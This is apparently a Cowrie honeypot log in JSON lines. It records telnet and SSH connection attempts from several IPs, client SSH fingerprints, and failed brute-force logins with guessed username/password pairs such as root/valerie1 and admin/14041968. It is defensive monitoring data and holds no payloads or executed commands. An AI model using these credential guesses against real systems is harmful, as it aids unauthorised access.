{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49604,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c2a6b995a64","protocol":"telnet","message":"New connection: 38.54.119.93:49604 (10.17.0.5:23) [session: 8c2a6b995a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:00.058607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:00.116107Z","src_ip":"213.209.159.158","session":"c74b7ceb7fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:00.120172Z","src_ip":"213.209.159.158","session":"c74b7ceb7fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54586,"dst_ip":"10.17.0.5","dst_port":23,"session":"d466dbdcbeca","protocol":"telnet","message":"New connection: 165.232.131.181:54586 (10.17.0.5:23) [session: d466dbdcbeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:01.743564Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51910,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfa3a152b68e","protocol":"telnet","message":"New connection: 38.54.119.93:51910 (10.17.0.5:23) [session: dfa3a152b68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:03.803625Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c29c554e5157","protocol":"telnet","message":"New connection: 62.210.97.77:52312 (10.17.0.5:23) [session: c29c554e5157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:04.623010Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbe598ad14f","protocol":"telnet","message":"New connection: 62.210.97.77:52318 (10.17.0.5:23) [session: 7fbe598ad14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:04.715111Z"}
{"eventid":"cowrie.session.closed","duration":31.355225086212158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:08.952623Z","src_ip":"62.210.97.77","session":"b9b574c9149f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"user_usrnm","message":"login attempt [root/user_usrnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:09.382336Z","src_ip":"213.209.159.158","session":"c74b7ceb7fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.082520246505737,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:10.885960Z","src_ip":"38.54.119.93","session":"dfa3a152b68e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:13.204778Z","src_ip":"213.209.159.158","session":"c74b7ceb7fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22286,"dst_ip":"10.17.0.5","dst_port":22,"session":"20de1b9066bd","protocol":"ssh","message":"New connection: 213.209.159.158:22286 (10.17.0.5:22) [session: 20de1b9066bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:13.289435Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56720,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ff8c68214b","protocol":"telnet","message":"New connection: 62.210.97.77:56720 (10.17.0.5:23) [session: 91ff8c68214b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:14.999449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:15.358891Z","src_ip":"213.209.159.158","session":"20de1b9066bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:15.366149Z","src_ip":"213.209.159.158","session":"20de1b9066bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.549055337905884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:17.215363Z","src_ip":"62.210.97.77","session":"505b9542a5b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39940,"dst_ip":"10.17.0.5","dst_port":23,"session":"1598d661b9f1","protocol":"telnet","message":"New connection: 165.232.131.181:39940 (10.17.0.5:23) [session: 1598d661b9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:17.906250Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"valerie1","message":"login attempt [root/valerie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:24.769445Z","src_ip":"213.209.159.158","session":"20de1b9066bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00187420845032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:26.029269Z","src_ip":"165.232.131.181","session":"f60d40a02291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.58381390571594,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:27.928377Z","src_ip":"65.60.27.33","session":"e9687027684a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:28.007898Z","src_ip":"213.209.159.158","session":"20de1b9066bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35436,"dst_ip":"10.17.0.5","dst_port":22,"session":"4866761e79c0","protocol":"ssh","message":"New connection: 213.209.159.158:35436 (10.17.0.5:22) [session: 4866761e79c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:28.098907Z"}
{"eventid":"cowrie.session.closed","duration":35.026076555252075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:30.029700Z","src_ip":"62.210.97.77","session":"14cdf0caef41","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:30.366423Z","src_ip":"213.209.159.158","session":"4866761e79c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:30.370924Z","src_ip":"213.209.159.158","session":"4866761e79c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60122,"dst_ip":"10.17.0.5","dst_port":23,"session":"23bff569fa8e","protocol":"telnet","message":"New connection: 62.210.97.77:60122 (10.17.0.5:23) [session: 23bff569fa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:30.906371Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33432,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef98d6f2360","protocol":"telnet","message":"New connection: 62.210.97.77:33432 (10.17.0.5:23) [session: 6ef98d6f2360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:33.301964Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48004,"dst_ip":"10.17.0.5","dst_port":23,"session":"c490107ed141","protocol":"telnet","message":"New connection: 165.232.131.181:48004 (10.17.0.5:23) [session: c490107ed141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:36.373005Z"}
{"eventid":"cowrie.session.closed","duration":32.05829429626465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:36.681175Z","src_ip":"62.210.97.77","session":"c29c554e5157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46086,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ed94fb108ee","protocol":"telnet","message":"New connection: 174.138.46.234:46086 (159.203.135.109:23) [session: 5ed94fb108ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:37.397648Z"}
{"eventid":"cowrie.session.closed","duration":45.4177360534668,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:39.052249Z","src_ip":"65.60.27.33","session":"48d1cd0ab661","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.3089554309845,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:39.940214Z","src_ip":"38.54.119.93","session":"02e617decfff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"van","message":"login attempt [root/van] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:40.017595Z","src_ip":"213.209.159.158","session":"4866761e79c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.14705991744995,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:41.862064Z","src_ip":"62.210.97.77","session":"7fbe598ad14f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54992,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d9d450187ca","protocol":"telnet","message":"New connection: 65.60.27.33:54992 (10.17.0.5:23) [session: 6d9d450187ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:42.627793Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:43.301318Z","src_ip":"213.209.159.158","session":"4866761e79c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23412,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8585874e4c0","protocol":"ssh","message":"New connection: 213.209.159.158:23412 (10.17.0.5:22) [session: d8585874e4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:43.379674Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57444,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7869291e68","protocol":"telnet","message":"New connection: 65.60.27.33:57444 (10.17.0.5:23) [session: 3d7869291e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:43.775007Z"}
{"eventid":"cowrie.session.closed","duration":44.64676475524902,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:44.705269Z","src_ip":"38.54.119.93","session":"8c2a6b995a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.869680166244507,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.267234Z","src_ip":"174.138.46.234","session":"5ed94fb108ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce634189e1a6","protocol":"telnet","message":"New connection: 62.210.97.77:34884 (10.17.0.5:23) [session: ce634189e1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.543930Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":24774,"dst_ip":"159.203.135.109","dst_port":22,"session":"58ff6da39c37","protocol":"ssh","message":"New connection: 2.57.121.112:24774 (159.203.135.109:22) [session: 58ff6da39c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.844799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.849041Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.856436Z","src_ip":"213.209.159.158","session":"d8585874e4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.859165Z","src_ip":"213.209.159.158","session":"d8585874e4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:45.956302Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57828,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a8e11e35314","protocol":"ssh","message":"New connection: 80.94.92.182:57828 (159.203.135.109:22) [session: 4a8e11e35314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:46.391212Z"}
{"eventid":"cowrie.session.closed","duration":120.00082731246948,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:46.408016Z","src_ip":"165.232.131.181","session":"452233a00d60","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:46.431132Z","src_ip":"80.94.92.182","session":"4a8e11e35314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14041968","message":"login attempt [admin/14041968] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:46.443827Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:46.526303Z","src_ip":"80.94.92.182","session":"4a8e11e35314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ps","password":"123456","message":"login attempt [ps/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:47.475727Z","src_ip":"80.94.92.182","session":"4a8e11e35314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"140391","message":"login attempt [admin/140391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:47.550232Z","src_ip":"2.57.121.112","session":"58ff6da39c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33860,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b129f6da08","protocol":"telnet","message":"New connection: 65.60.27.33:33860 (10.17.0.5:23) [session: 61b129f6da08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:38:48.174032Z"}
